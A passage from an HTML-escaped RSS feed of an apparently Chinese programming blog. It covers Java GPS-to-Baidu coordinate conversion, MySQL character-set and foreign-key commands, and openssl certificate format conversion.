Math.sin(6.0 * x * Math.PI) + 20.0 * Math.sin(2.0 * x&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;* Math.PI)) * 2.0 / 3.0;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;ret += (20.0 * Math.sin(y * Math.PI) + 40.0 * Math.sin(y / 3.0&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;* Math.PI)) * 2.0 / 3.0;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;ret += (160.0 * Math.sin(y / 12.0 * Math.PI) + 320 * Math.sin(y&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;* Math.PI / 30.0)) * 2.0 / 3.0;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;return ret;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;}&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;public static double transformLon(double x, double y) {&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;double ret = 300.0 + x + 2.0 * y + 0.1 * x * x + 0.1 * x * y + 0.1&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;* Math.sqrt(Math.abs(x));&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;ret += (20.0 * Math.sin(6.0 * x * Math.PI) + 20.0 * Math.sin(2.0 * x&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;* Math.PI)) * 2.0 / 3.0;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;ret += (20.0 * Math.sin(x * Math.PI) + 40.0 * Math.sin(x / 3.0&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;* Math.PI)) * 2.0 / 3.0;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;ret += (150.0 * Math.sin(x / 12.0 * Math.PI) + 300.0 * Math.sin(x&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;/ 30.0 * Math.PI)) * 2.0 / 3.0;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;return ret;&amp;nbsp;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;}&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: verdana, &amp;quot;ms song&amp;quot;, 宋体, Arial, 微软雅黑, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: verdana, &amp;quot;ms song&amp;quot;, 宋体, Arial, 微软雅黑, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;虽然理解起来很难，但是好用。&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: verdana, &amp;quot;ms song&amp;quot;, 宋体, Arial, 微软雅黑, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: verdana, &amp;quot;ms song&amp;quot;, 宋体, Arial, 微软雅黑, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: verdana, &amp;quot;ms song&amp;quot;, 宋体, Arial, 微软雅黑, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: verdana, &amp;quot;ms song&amp;quot;, 宋体, Arial, 微软雅黑, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;下面再讲把GPS坐标转换成百度坐标&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: verdana, &amp;quot;ms song&amp;quot;, 宋体, Arial, 微软雅黑, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: verdana, &amp;quot;ms song&amp;quot;, 宋体, Arial, 微软雅黑, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;// //GPS转百度&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;// 将GPS设备采集的原始GPS坐标转换成百度坐标&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;CoordinateConverter converter = new CoordinateConverter();&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;converter.from(CoordType.GPS);&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;// sourceLatLng待转换坐标&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;converter.coord(desLatLng1);&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;LatLng desLatLng = converter.convert();&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;double la = desLatLng.latitude;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;double ln = desLatLng.longitude;&lt;br style=&quot;margin: 0px; padding: 0px;&quot;/&gt;LatLng ll = new LatLng(la, ln);&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: verdana, &amp;quot;ms song&amp;quot;, 宋体, Arial, 微软雅黑, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;margin: 10px auto; padding: 0px; line-height: 1.5; font-size: 13px; font-family: verdana, &amp;quot;ms song&amp;quot;, 宋体, Arial, 微软雅黑, Helvetica, sans-serif; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;这个是百度api里面有的方法&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Sun, 25 Aug 2019 11:57:14 +0800</pubDate></item><item><title>查看mysql数据库及表编码格式</title><link>http://www.rf.sh.cn:80/post/3080.html</link><description>&lt;p&gt;转自：&lt;a href=&quot;https://blog.csdn.net/mingyu1016/article/details/54017918&quot;&gt;https://blog.csdn.net/mingyu1016/article/details/54017918&lt;/a&gt;&lt;/p&gt;&lt;p&gt;1.查看数据库编码格式&lt;/p&gt;&lt;div&gt;&lt;pre&gt;mysql&amp;gt;&amp;nbsp;show&amp;nbsp;variables&amp;nbsp;like&amp;nbsp;&amp;#39;character_set_database&amp;#39;;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;2.查看数据表的编码格式&lt;/p&gt;&lt;div&gt;&lt;pre&gt;mysql&amp;gt;&amp;nbsp;show&amp;nbsp;create&amp;nbsp;table&amp;nbsp;&amp;lt;表名&amp;gt;;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;3.创建数据库时指定数据库的字符集&lt;/p&gt;&lt;div&gt;&lt;pre&gt;mysql&amp;gt;create&amp;nbsp;database&amp;nbsp;&amp;lt;数据库名&amp;gt;&amp;nbsp;character&amp;nbsp;set&amp;nbsp;utf8;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;4.创建数据表时指定数据表的编码格式&lt;/p&gt;&lt;div&gt;&lt;pre&gt;create&amp;nbsp;table&amp;nbsp;tb_books&amp;nbsp;(
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;name&amp;nbsp;varchar(45)&amp;nbsp;not&amp;nbsp;null,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;price&amp;nbsp;double&amp;nbsp;not&amp;nbsp;null,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bookCount&amp;nbsp;int&amp;nbsp;not&amp;nbsp;null,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;author&amp;nbsp;varchar(45)&amp;nbsp;not&amp;nbsp;null&amp;nbsp;)&amp;nbsp;default&amp;nbsp;charset&amp;nbsp;=&amp;nbsp;utf8;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;5.修改数据库的编码格式&lt;/p&gt;&lt;div&gt;&lt;pre&gt;mysql&amp;gt;alter&amp;nbsp;database&amp;nbsp;&amp;lt;数据库名&amp;gt;&amp;nbsp;character&amp;nbsp;set&amp;nbsp;utf8;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;6.修改数据表格编码格式&lt;/p&gt;&lt;div&gt;&lt;pre&gt;mysql&amp;gt;alter&amp;nbsp;table&amp;nbsp;&amp;lt;表名&amp;gt;&amp;nbsp;character&amp;nbsp;set&amp;nbsp;utf8;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;7.修改字段编码格式&lt;/p&gt;&lt;div&gt;&lt;pre&gt;mysql&amp;gt;alter&amp;nbsp;table&amp;nbsp;&amp;lt;表名&amp;gt;&amp;nbsp;change&amp;nbsp;&amp;lt;字段名&amp;gt;&amp;nbsp;&amp;lt;字段名&amp;gt;&amp;nbsp;&amp;lt;类型&amp;gt;&amp;nbsp;character&amp;nbsp;set&amp;nbsp;utf8;

mysql&amp;gt;alter&amp;nbsp;table&amp;nbsp;user&amp;nbsp;change&amp;nbsp;username&amp;nbsp;username&amp;nbsp;varchar(20)&amp;nbsp;character&amp;nbsp;set&amp;nbsp;utf8&amp;nbsp;not&amp;nbsp;null;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;8.添加外键&lt;/p&gt;&lt;div&gt;&lt;pre&gt;mysql&amp;gt;alter&amp;nbsp;table&amp;nbsp;tb_product&amp;nbsp;add&amp;nbsp;constraint&amp;nbsp;fk_1&amp;nbsp;foreign&amp;nbsp;key(factoryid)&amp;nbsp;references&amp;nbsp;tb_factory(factoryid);
mysql&amp;gt;alter&amp;nbsp;table&amp;nbsp;&amp;lt;表名&amp;gt;&amp;nbsp;add&amp;nbsp;constraint&amp;nbsp;&amp;lt;外键名&amp;gt;&amp;nbsp;foreign&amp;nbsp;key&amp;lt;字段名&amp;gt;&amp;nbsp;REFERENCES&amp;nbsp;&amp;lt;外表表名&amp;gt;&amp;lt;字段名&amp;gt;;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;9.删除外键&lt;/p&gt;&lt;div&gt;&lt;pre&gt;mysql&amp;gt;alter&amp;nbsp;table&amp;nbsp;tb_people&amp;nbsp;drop&amp;nbsp;foreign&amp;nbsp;key&amp;nbsp;fk_1;
mysql&amp;gt;alter&amp;nbsp;table&amp;nbsp;&amp;lt;表名&amp;gt;&amp;nbsp;drop&amp;nbsp;foreign&amp;nbsp;key&amp;nbsp;&amp;lt;外键名&amp;gt;;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Tue, 30 Jul 2019 06:07:58 +0800</pubDate></item><item><title>证书及证书管理(keytool工具实例)(RSA之格式转换)</title><link>http://www.rf.sh.cn:80/post/3079.html</link><description>&lt;p&gt;第一篇：证书及证书管理(keytool工具实例)&amp;nbsp;&lt;a href=&quot;https://www.cnblogs.com/benwu/articles/4891758.html&quot;&gt;https://www.cnblogs.com/benwu/articles/4891758.html&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;第二篇：RSA之格式转换&amp;nbsp;&lt;a href=&quot;https://my.oschina.net/hejunbinlan/blog/1475301&quot;&gt;https://my.oschina.net/hejunbinlan/blog/1475301&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;有个需求：&lt;a href=&quot;http://lib.csdn.net/base/ios&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot; style=&quot;box-sizing: inherit; background-color: transparent; color: rgb(65, 131, 196); text-decoration-line: none;&quot;&gt;iOS&lt;/a&gt;客户端给密码RSA加密，传到&lt;a href=&quot;http://lib.csdn.net/base/java&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot; style=&quot;box-sizing: inherit; background-color: transparent; color: rgb(65, 131, 196); text-decoration-line: none;&quot;&gt;Java&lt;/a&gt;后台，解密。JAVA和&lt;a href=&quot;http://lib.csdn.net/base/ios&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot; style=&quot;box-sizing: inherit; background-color: transparent; color: rgb(65, 131, 196); text-decoration-line: none;&quot;&gt;ios&lt;/a&gt;各自找了RSA的&lt;a href=&quot;http://lib.csdn.net/base/datastructure&quot; target=&quot;_blank&quot; rel=&quot;nofollow&quot; style=&quot;box-sizing: inherit; background-color: transparent; color: rgb(65, 131, 196); text-decoration-line: none;&quot;&gt;算法&lt;/a&gt;实现代码，都能正常根据密钥对加解密。问题是各自使用对方的密钥对就不能加解密成功。&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;原来在用&lt;span style=&quot;box-sizing: inherit; font-weight: 700;&quot;&gt;mac自带的openssl生成的密钥对文件是X509编码格式的。而JAVA所需的私钥文件是PKCS#8编码格式的，&lt;/span&gt;所以要将在mac系统中生成的私钥文件转下码就行了。&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;span style=&quot;box-sizing: inherit; font-weight: 700;&quot;&gt;常见证书格式及相互转换&lt;/span&gt;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;PKCS 全称是 Public-Key Cryptography Standards ，是由 RSA 实验室与其它安全系统开发商为促进公钥密码的发展而制订的一系列标准，PKCS 目前共发布过 15 个标准。&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;常用的有：&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;PKCS#7&amp;nbsp;Cryptographic Message Syntax Standard&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;PKCS#10&amp;nbsp;Certification Request Standard&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;PKCS#12&amp;nbsp;Personal Information Exchange Syntax Standard&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;X.509是常见通用的证书格式。所有的证书都符合为Public Key Infrastructure (PKI) 制定的 ITU-T X509 国际标准。&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;PKCS#7 常用的后缀是： .P7B .P7C .SPC&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;PKCS#12 常用的后缀有： .P12 .PFX&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;X.509 DER 编码(ASCII)的后缀是： .DER .CER .CRT&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;X.509 PAM 编码(Base64)的后缀是： .PEM .CER .CRT&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;.cer/.crt是用于存放证书，它是2进制形式存放的，不含私钥。&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;.pem跟crt/cer的区别是它以Ascii来表示。&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;pfx/p12用于存放个人证书/私钥，他通常包含保护密码，2进制方式&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;p10是证书请求&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;p7r是CA对证书请求的回复，只用于导入&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;p7b以树状展示证书链(certificate chain)，同时也支持单个证书，不含私钥。&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;—————-&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;der,cer文件一般是二进制格式的，只放证书，不含私钥&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;crt文件可能是二进制的，也可能是文本格式的，应该以文本格式居多，功能同der/cer&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;pem文件一般是文本格式的，可以放证书或者私钥，或者两者都有&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;pem如果只含私钥的话，一般用.key扩展名，而且可以有密码保护&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;pfx,p12文件是二进制格式，同时含私钥和证书，通常有保护密码&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;怎么判断是文本格式还是二进制？用记事本打开，如果是规则的数字字母，如&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;—–BEGIN CERTIFICATE—–&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;MIIE9jCCA96gAwIBAgIQVXD9d9wgivhJM//a3VIcDjANBgkqhkiG9w0BAQUFADBy&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;—–END CERTIFICATE—–&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;就是文本的，上面的—–BEGIN CERTIFICATE—–，说明这是一个证书&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;如果是—–BEGIN RSA PRIVATE KEY—–，说明这是一个私钥&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;文本格式的私钥，也可能有密码保护&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;文本格式怎么变成二进制？ 从程序角度来说，去掉前后的—-行，剩下的去掉回车，用base64解码，就得到二进制了&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;不过一般都用命令行openssl完成这个工作&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;一 用openssl创建CA证书的RSA密钥(PEM格式)：&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;openssl genrsa -des3 -out ca.key 1024&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;二 用openssl创建CA证书(PEM格式,假如有效期为一年)：&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;openssl req -new -x509 -days 365 -key ca.key -out ca.crt -config openssl.cnf&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;openssl是可以生成DER格式的CA证书的，最好用IE将PEM格式的CA证书转换成DER格式的CA证书。&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;三 x509到pfx&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;pkcs12 -export –in keys/client1.crt -inkey keys/client1.key -out keys/client1.pfx&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;四 PEM格式的ca.key转换为Microsoft可以识别的pvk格式。&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;pvk -in ca.key -out ca.pvk -nocrypt -topvk&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;五 PKCS#12 到 PEM 的转换&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;openssl pkcs12 -nocerts -nodes -in cert.p12 -out private.pem&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;验证 openssl pkcs12 -clcerts -nokeys -in cert.p12 -out cert.pem&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: &amp;quot;Pingfang SC&amp;quot;, STHeiti, &amp;quot;Lantinghei SC&amp;quot;, &amp;quot;Open Sans&amp;quot;, Arial, &amp;quot;Hiragino Sans GB&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;WenQuanYi Micro Hei&amp;quot;, SimSun, sans-serif; font-size: 16px; white-space: normal; background-color: rgb(255, 255, 255);&quot;&gt;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;&lt;span style=&quot;box-sizing: inherit; font-weight: 700;&quot;&gt;六 从 PFX 格式文件中提取私钥格式文件 (.key)&lt;/span&gt;&lt;br style=&quot;box-sizing: inherit;&quot;/&gt;openssl pkcs12 -in mycert.pfx -nocerts -nodes -out mycert.key&lt;/p&gt;&lt;p style=&quot;box-sizing: inherit; margin-top: 16px; margin-bottom: 14px; line-height: 28px; color: rgb(61, 70, 77); font-family: 